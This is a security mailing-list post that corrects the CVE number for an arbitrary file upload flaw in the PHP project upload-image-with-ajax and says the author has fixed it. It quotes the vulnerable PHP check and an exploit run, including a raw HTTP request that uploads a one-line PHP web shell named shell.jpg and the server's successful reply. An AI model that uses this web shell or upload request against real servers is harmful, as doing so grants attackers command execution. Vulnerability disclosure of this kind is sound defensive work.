Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 23 Dec 2019 16:52:05 -0500
From: "Larry W. Cashdollar" <>
To: Open Security <>
Subject: Re: Arbitrary file upload vulnerability in upload-image-with-ajax


An update and a correction.

The CVE number should be CVE-2019-8293.  The software author also has fixed the vulnerability:


´╗┐On 12/23/19, 12:09 PM, "Larry W. Cashdollar" <> wrote:

    Title: Arbitrary file upload vulnerability in upload-image-with-ajax
    Author: Larry W. Cashdollar
    Date: 2019-12-16
    Download Site:
    Vendor: adcprintf
    Vendor Notified: 2019-12-16
    Vendor Contact:
    Description: upload-image-with-ajax
    The code below changes the $ready flag to true if the file conforms to the size of < 1000000. Reversing the check that the file is an image. So, a .php file can be uploaded with only a warning allowing code execution.
    $ready = false;
    if((($imageType == "image/jpeg") || ($imageType == "image/jpg") || ($imageType == "image/png"))&&in_array($fileExt, $validext)){
    $ready = true;
    echo "was not an image
    /You should abort the upload right here/
    if($_FILES["fileUpload"]["size"] < 1000000){
    $ready = true;
    echo "file size is ".$_FILES['fileUpload']["size"]."
    echo "file was TOO BIG!";
    Exploit Code:
     $ ./fileupload_exploit 80 /upload-image-with-ajax/upload.php
    POST request size is 469 bytes
    Sending Payload:
    POST //upload-image-with-ajax/upload.php HTTP/1.1
    User-Agent: File Upload Exploiter/v1.2
    Accept: */*
    Content-Length: 237
    Content-Type: multipart/form-data; boundary=------------------------c8e05c8871143853
    Content-Disposition: form-data; name="fileUpload"; filename="shell.jpg"
    Content-Type: image/jpeg
    <?php $cmd=$_GET['cmd']; system($cmd);?>
    HTTP/1.1 200 OK
    Date: Mon, 16 Dec 2019 04:39:56 GMT
    Server: Apache/2.4.25 (Debian)
    Content-Length: 37
    Content-Type: text/html; charset=UTF-8
    file size is 42<br>upload successful!
    [+] Total bytes read: 185

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.